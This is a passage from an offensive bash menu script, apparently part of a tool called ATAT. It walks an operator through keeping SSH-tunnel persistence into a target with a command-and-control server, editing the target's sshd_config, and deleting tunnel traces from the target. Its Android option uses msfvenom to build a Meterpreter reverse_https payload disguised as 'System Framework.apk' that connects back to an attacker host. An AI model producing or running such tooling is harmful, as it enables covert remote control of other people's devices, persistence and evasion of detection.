echo -e "\e[1;34m***To Disable SSH Public Key & Password Authentication On Target (Once Done, If Necessary) Run:***\e[0m"
echo -e "\E[1;34m\e[97m \e[31msed -i -e '0,/PubkeyAuthentication/!b' -e '/PubkeyAuthentication/s/^/#/' /etc/ssh/sshd_config && sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^/#/' /etc/ssh/sshd_config && sed -i -e '0,/AuthorizedKeysFile/!b' -e '/AuthorizedKeysFile/s/^/#/' /etc/ssh/sshd_config\e[97m\E[1;34m"
#Remove ssh_config edit that is contained in the line below
#echo -e "\E[1;34m\e[97m \e[31msed -i -e '0,/PubkeyAuthentication/!b' -e '/PubkeyAuthentication/s/^/#/' /etc/ssh/sshd_config && sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^/#/' /etc/ssh/sshd_config && sed -i -e '0,/AuthorizedKeysFile/!b' -e '/AuthorizedKeysFile/s/^/#/' /etc/ssh/sshd_config && sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^/#/' /etc/ssh/ssh_config\e[97m\E[1;34m"
#Maybe needed to prevent ssh brutforce vuln?
#sed -i -e '0,/PermitRootLogin/!b' -e '/PermitRootLogin/s/^/#/' /etc/ssh/sshd_config
#Added step to disable password based SSH auth once cert auth setup is complete; this should resolve any brute-force vuln
echo ""
echo -e "\e[1;34m***Remove The Line In ~/.ssh/authorized_keys That Matches The Contents Of ~/.ssh/at_rsa.pub***\e[0m"
echo ""
echo -e "\e[1;34m**Also, remove the following files from the target:**\e[0m"
echo -e "\e[1;34m~/.ssh/at_rsa.pub\e[0m"
echo -e "\e[1;34m~/.ssh/tunnel.log\e[0m"
echo -e "\e[1;34m~/.ssh/.hosts\e[0m"
echo ""
read -p "Press Enter When Ready To Proceed"
echo ""
cat << "EOF"
***WARNING*** This setup requires cert only authentication both ways to maintain persistence.
The means the target machine will have the ability to SSH into your C2 WITHOUT A PASSWORD! However, this can be done safely.
Once this is setup you need to run "systemctl disable ssh && service ssh stop" to make sure the SSH service does not start by default on boot.
To check, after startup, run "service ssh status" to see if the service shows as inactive or active. If inactive/dead you are safe.
When you need to interact with the target, simply run "service ssh start". Then wait 1 minute or less and run:
ssh -l TARGET_USERNAME -p TARGET_PORT localhost (as per the instructions above)
Do your business and exit out of the session like normal. Then, run "service ssh stop" and leave the ssh service down until you
need to interact with the target again; at which time you will run "service ssh start" again and the cycle repeats.
DO NOT FORGET THIS IMPORTANT USAGE STEP!!
EOF
;;
"Android")
read -p 'Set LHOST IP: ' userhost; read -p 'Set LPORT: ' userport;
msfvenom -f raw -p android/meterpreter/reverse_https LHOST=$userhost LPORT=$userport -o "System Framework.jar"
cp "System Framework.jar" "System Framework.apk"
rm "System Framework.jar"
echo -e "\E[1;34m::::: \e[97mSystem Framework.apk saved to ~/ATAT. Upload to device, install, and run. \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mStart an android/meterpreter/reverse_https listener \E[1;34m:::::"
;;
"Main Menu")
~/ATAT/ATAT.sh
;;
"Quit")
echo "auf Wiedersehen" && exit 1
;;
*) echo invalid option;;
esac
done
;;